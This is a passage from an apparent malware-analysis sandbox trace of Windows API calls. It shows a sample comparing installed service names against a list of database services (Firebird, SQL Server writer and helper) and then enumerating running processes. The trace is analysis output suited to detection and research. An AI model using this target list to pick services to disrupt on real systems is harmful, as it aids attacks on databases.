lpString2="LanmanWorkstation") returned 1 [0188.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0188.506] lstrlenW (lpString="lfsvc") returned 5 [0188.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0188.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0188.506] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0188.506] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0188.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0188.506] lstrlenW (lpString="lmhosts") returned 7 [0188.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0188.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0188.507] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0188.507] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0188.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0188.507] lstrlenW (lpString="LSM") returned 3 [0188.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0188.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0188.507] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0188.507] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0188.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0188.507] lstrlenW (lpString="MpsSvc") returned 6 [0188.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0188.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0188.507] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0188.507] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0188.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0188.507] lstrlenW (lpString="NcbService") returned 10 [0188.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0188.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0188.507] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0188.507] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0188.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0188.507] lstrlenW (lpString="netprofm") returned 8 [0188.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0188.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0188.507] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0188.507] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0188.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0188.508] lstrlenW (lpString="NgcSvc") returned 6 [0188.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0188.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0188.508] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0188.508] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0188.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0188.508] lstrlenW (lpString="NlaSvc") returned 6 [0188.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0188.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0188.508] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0188.508] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0188.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0188.508] lstrlenW (lpString="nsi") returned 3 [0188.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0188.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0188.508] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0188.508] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0188.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0188.508] lstrlenW (lpString="PcaSvc") returned 6 [0188.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0188.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0188.508] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0188.508] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0188.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0188.508] lstrlenW (lpString="PlugPlay") returned 8 [0188.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0188.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0188.508] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0188.509] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0188.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0188.509] lstrlenW (lpString="Power") returned 5 [0188.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0188.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0188.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0188.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0188.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0188.509] lstrlenW (lpString="ProfSvc") returned 7 [0188.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0188.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0188.509] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0188.509] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0188.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0188.509] lstrlenW (lpString="RpcEptMapper") returned 12 [0188.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0188.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0188.509] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0188.509] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0188.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0188.509] lstrlenW (lpString="RpcSs") returned 5 [0188.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0188.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0188.509] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0188.509] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0188.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0188.509] lstrlenW (lpString="SamSs") returned 5 [0188.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0188.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0188.510] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0188.510] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0188.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0188.510] lstrlenW (lpString="Schedule") returned 8 [0188.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0188.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0188.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0188.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0188.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0188.510] lstrlenW (lpString="SecurityHealthService") returned 21 [0188.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0188.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0188.510] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0188.510] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0188.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0188.510] lstrlenW (lpString="SENS") returned 4 [0188.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0188.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0188.510] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0188.510] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0188.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0188.510] lstrlenW (lpString="ShellHWDetection") returned 16 [0188.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0188.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0188.510] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0188.510] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0188.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0188.524] lstrlenW (lpString="Spooler") returned 7 [0188.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0188.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0188.524] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0188.524] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0188.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0188.524] lstrlenW (lpString="StateRepository") returned 15 [0188.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0188.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0188.524] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0188.524] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0188.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0188.524] lstrlenW (lpString="SysMain") returned 7 [0188.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0188.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0188.524] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0188.524] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0188.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0188.524] lstrlenW (lpString="SystemEventsBroker") returned 18 [0188.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0188.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0188.524] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0188.524] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0188.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0188.525] lstrlenW (lpString="Themes") returned 6 [0188.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0188.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0188.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0188.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0188.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0188.525] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0188.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0188.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0188.525] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0188.525] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0188.525] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4052988 | out: hHeap=0x420000) returned 1 [0188.525] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x568 [0188.531] Process32FirstW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.531] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0188.532] lstrlenW (lpString="System") returned 6 [0188.532] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0188.532] lstrlenW (lpString="smss.exe") returned 8 [0188.532] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0188.533] lstrlenW (lpString="csrss.exe") returned 9 [0188.533] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0188.533] lstrlenW (lpString="wininit.exe") returned 11 [0188.533] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0188.534] lstrlenW (lpString="csrss.exe") returned 9 [0188.534] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0188.534] lstrlenW (lpString="winlogon.exe") returned 12 [0188.534] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0188.535] lstrlenW (lpString="services.exe") returned 12 [0188.535] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0188.536] lstrlenW (lpString="lsass.exe") returned 9 [0188.536] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0188.536] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0188.536] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0188.537] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0188.537] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.537] lstrlenW (lpString="svchost.exe") returned 11 [0188.537] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.538] lstrlenW (lpString="svchost.exe") returned 11 [0188.538] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0188.538] lstrlenW (lpString="dwm.exe") returned 7 [0188.538] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.539] lstrlenW (lpString="svchost.exe") returned 11 [0188.539] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.539] lstrlenW (lpString="svchost.exe") returned 11 [0188.539] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.540] lstrlenW (lpString="svchost.exe") returned 11 [0188.540] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.540] lstrlenW (lpString="svchost.exe") returned 11 [0188.540] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.541] lstrlenW (lpString="svchost.exe") returned 11 [0188.541] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.542] lstrlenW (lpString="svchost.exe") returned 11 [0188.542] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.542] lstrlenW (lpString="svchost.exe") returned 11 [0188.542] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.543] lstrlenW (lpString="svchost.exe") returned 11 [0188.543] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.543] lstrlenW (lpString="svchost.exe") returned 11 [0188.543] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.544] lstrlenW (lpString="svchost.exe") returned 11 [0188.544] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0188.544] lstrlenW (lpString="spoolsv.exe") returned 11 [0188.544] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.545] lstrlenW (lpString="svchost.exe") returned 11 [0188.545] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0188.545] lstrlenW (lpString="audiodg.exe") returned 11 [0188.545] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0188.546] lstrlenW (lpString="sihost.exe") returned 10 [0188.546] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.546] lstrlenW (lpString="svchost.exe") returned 11 [0188.547] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0188.547] lstrlenW (lpString="taskhostw.exe") returned 13 [0188.547] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0188.548] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0188.548] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0188.548] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0188.548] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0188.549] lstrlenW (lpString="Memory Compression") returned 18 [0188.549] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0188.549] lstrlenW (lpString="explorer.exe") returned 12 [0188.549] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0188.550] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0188.550] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0188.550] lstrlenW (lpString="SearchUI.exe") returned 12 [0188.550] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0188.551] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0188.551] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0188.551] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0188.552] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: 